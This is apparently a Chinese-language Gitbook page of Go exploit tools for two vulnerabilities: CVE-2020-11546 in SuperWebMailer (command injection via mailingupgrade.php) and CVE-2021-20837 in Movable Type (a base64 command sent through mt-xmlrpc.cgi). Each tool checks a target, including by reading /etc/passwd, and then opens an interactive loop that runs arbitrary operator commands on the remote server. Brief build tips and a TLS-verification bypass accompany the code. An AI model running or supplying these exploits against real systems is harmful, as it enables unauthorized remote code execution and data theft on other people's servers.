CVE-2020-11546

[!NOTE]

已上传至GitHub:https://github.com/damit5/CVE-2020-11546

扩展1:交叉编译

CGO_ENABLED=0 GOOS=darwin GOARCH=amd64 go build -ldflags="-s -w" -trimpath -o release/superwebmailerRCE_darwin
CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build -ldflags="-s -w" -trimpath -o release/superwebmailerRCE_linux
CGO_ENABLED=0 GOOS=windows GOARCH=amd64 go build -ldflags="-s -w" -trimpath -o release/superwebmailerRCE_win.exe

扩展2:go.mod

go mod init <仓库地址>
go mod init github.com/damit5/CVE-2020-11546

不然不能go get -u自动下载编译,会出现问题

扩展3:go get

直接使用go get -u github.com/xxx可能出现版本的问题,可以使用如下命令执行版本或者分支

go get -u -v github.com/damit5/CVE-2020-11546@master

[!TIP]

也可以使用@commit hash等等

扩展4:交互输入

for {
    fmt.Printf("\n\ncommand: ")
    _, _ = fmt.Scanln(&command)
    if command != "" {
        break
    }
}

代码

package main

import (
    "bytes"
    "fmt"
    "io/ioutil"
    "net/http"
    "os"
    "strings"
)

func banner(){
    fmt.Println(`
    .___ _____         ____  __          
  __| _//  |  |  _____/_   |/  |_  ______
 / __ |/   |  |_/     \|   \   __\/  ___/
/ /_/ /    ^   /  Y Y  \   ||  |  \___ \ 
\____ \____   ||__|_|  /___||__| /____  >
     \/    |__|      \/               \/

        CVE-2020-11546
`)
}

/* *
参数检查
 */
func argsCheck(args []string) {

    if len(args) != 2 {
        fmt.Printf("Usage:\n\t./%s <target>\n", args[0])
        os.Exit(0)
    }
}

/* *
url处理
 */
func urlHandler(target string) string {
    // 没有http前缀的添加http前缀
    if !strings.HasPrefix(target, "http") {
        target = "http://" + target
    }
    // 有/结尾的就去掉/
    if strings.HasSuffix(target, "/") {    // 去掉后缀 /
        target = strings.TrimSuffix(target, "/")
        fmt.Println(target)
    }

    return target
}

/* *
漏洞检查
 */
func check(target string) bool {
    // 创建请求
    vulurl := target + "/mailingupgrade.php"
    req, _ := http.NewRequest("POST", vulurl, bytes.NewReader([]byte(`step=4&Language=de%7b$%7bsystem(%22echo vultest%22)%7d%7d&RegName=12345678901234567890123&RegNumber=12345&NextBtn=Weiter+%3E`)))
    req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0")
    req.Header.Set("Content-type", "application/x-www-form-urlencoded")

    // 发起请求
    client := http.Client{}
    resp, _ := client.Do(req)
    body, _ := ioutil.ReadAll(resp.Body)
    if strings.Contains(string(body), "vultest") {
        return true
    }
    return false
}

/* *
漏洞检查
*/
func exp(target string, command string) {
    // 创建请求
    vulurl := target + "/mailingupgrade.php"
    data := `step=4&Language=de%7b$%7bsystem(%22` + command + `%22)%7d%7d&RegName=12345678901234567890123&RegNumber=12345&NextBtn=Weiter+%3E`
    req, _ := http.NewRequest("POST", vulurl, bytes.NewReader([]byte(data)))
    req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0")
    req.Header.Set("Content-type", "application/x-www-form-urlencoded")

    // 发起请求
    client := http.Client{}
    resp, _ := client.Do(req)
    body, _ := ioutil.ReadAll(resp.Body)
    res := strings.Replace(string(body), "Can't load correct language file in /language directory", "", -1)
    res = strings.TrimSpace(res)
    fmt.Println(res)
}

func main() {
    args := os.Args
    banner()
    argsCheck(args)
    target := args[1]
    target = urlHandler(target)
    if check(target) {
        fmt.Printf("target %s is vuln", target)
        var command string
        for {
            for {
                fmt.Printf("\n\ncommand: ")
                fmt.Scanln(&command)
                if command != "" {
                    break
                }
            }
            exp(target, command)
        }
    } else {
        fmt.Printf("target %s is not vuln", target)
    }
}

image-20211229173338536

测试图

image-20211229152446871

CVE-2021-20837

扩展5:忽略SSL证书

[!WARNING]

这个错误不容易发现,所以需要经验来判断,在初始化客户端的时候需要忽略SSL证书

var Client http.Client
tr := &http.Transport{
    TLSClientConfig: &tls.Config{InsecureSkipVerify: true},    // 忽略SSL证书
}
Client = http.Client{
    Transport: tr,
}

扩展6:正则表达式

默认情况下,.是不能匹配换行符\n的,有时候我们有需要通过.匹配到\n,这个时候就需要稍微修改一下.

[!TIP]

在线正则表达式测试网站:https://regex101.com/

(?s).*

实例:

image-20211229171038928

代码

package main

import (
    "bytes"
    "crypto/tls"
    "encoding/base64"
    "fmt"
    "io/ioutil"
    "net/http"
    "os"
    "regexp"
    "strings"
)

// 客户端全局变量
var Client http.Client

func banner(){
    fmt.Println(`
    .___ _____         ____  __          
  __| _//  |  |  _____/_   |/  |_  ______
 / __ |/   |  |_/     \|   \   __\/  ___/
/ /_/ /    ^   /  Y Y  \   ||  |  \___ \ 
\____ \____   ||__|_|  /___||__| /____  >
     \/    |__|      \/               \/

        CVE-2021-20837
`)
}

/* *
参数检查
*/
func argsCheck(args []string) {

    if len(args) != 2 {
        fmt.Printf("Usage:\n\t./%s <target>\n", args[0])
        os.Exit(0)
    }
}

/* *
url处理
*/
func urlHandler(target string) string {
    // 没有http前缀的添加http前缀
    if !strings.HasPrefix(target, "http") {
        target = "http://" + target
    }
    // 有/结尾的就去掉/
    if strings.HasSuffix(target, "/") {    // 去掉后缀 /
        target = strings.TrimSuffix(target, "/")
        fmt.Println(target)
    }

    return target
}

/* *
漏洞检查
*/
func check(target string) bool {
    // 创建请求
    vulurl := target + "/cgi-bin/mt/mt-xmlrpc.cgi"
    command := "`cat /etc/passwd`"
    base64_cmd := base64.StdEncoding.EncodeToString([]byte(command))
    payload := fmt.Sprintf(`<?xml version="1.0" encoding="UTF-8"?>
    <methodCall>
      <methodName>mt.handler_to_coderef</methodName>
      <params>
        <param>
          <value>
            <base64>
             %s
            </base64>
          </value>
        </param>
      </params>
    </methodCall>`, base64_cmd)
    req, _ := http.NewRequest("POST", vulurl, bytes.NewReader([]byte(payload)))
    req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0")
    req.Header.Set("Content-type", "text/xml; charset=UTF-8")

    // 发起请求
    tr := &http.Transport{
        TLSClientConfig: &tls.Config{InsecureSkipVerify: true},    // 忽略SSL证书
    }
    Client = http.Client{
        Transport: tr,
    }
    resp, _ := Client.Do(req)
    body, _ := ioutil.ReadAll(resp.Body)
    if strings.Contains(string(body), "root:x:0") {
        return true
    }
    return false
}

/* *
漏洞检查
*/
func exp(target string, command string) {
    // 创建请求
    vulurl := target + "/cgi-bin/mt/mt-xmlrpc.cgi"
    base64_cmd := base64.StdEncoding.EncodeToString([]byte("`" + command + "`"))
    payload := fmt.Sprintf(`<?xml version="1.0" encoding="UTF-8"?>
    <methodCall>
      <methodName>mt.handler_to_coderef</methodName>
      <params>
        <param>
          <value>
            <base64>
             %s
            </base64>
          </value>
        </param>
      </params>
    </methodCall>`, base64_cmd)
    req, _ := http.NewRequest("POST", vulurl, bytes.NewReader([]byte(payload)))
    req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0")
    req.Header.Set("Content-type", "text/xml; charset=UTF-8")

    // 发起请求
    resp, _ := Client.Do(req)
    body, _ := ioutil.ReadAll(resp.Body)
    // 正则表达式匹配结果
    regex, _ := regexp.Compile("Can't\\slocate\\s((?s).*)\\sin @INC")
    res := regex.FindAllStringSubmatch(string(body), 1)[0][1]
    fmt.Println(res)
}

func main() {
    args := os.Args
    banner()
    argsCheck(args)
    target := args[1]
    target = urlHandler(target)
    if check(target) {
        fmt.Printf("target %s is vuln", target)
        var command string
        for {
            for {
                fmt.Printf("\n\ncommand: ")
                _, _ = fmt.Scanln(&command)
                if command != "" {
                    break
                }
            }
            exp(target, command)
        }
    } else {
        fmt.Printf("target %s is not vuln", target)
    }
}

测试图

image-20211229174210916

Copyright © d4m1ts 2023 all right reserved,powered by Gitbook该文章修订时间: 2021-12-29 17:44:33

results matching ""

    No results matching ""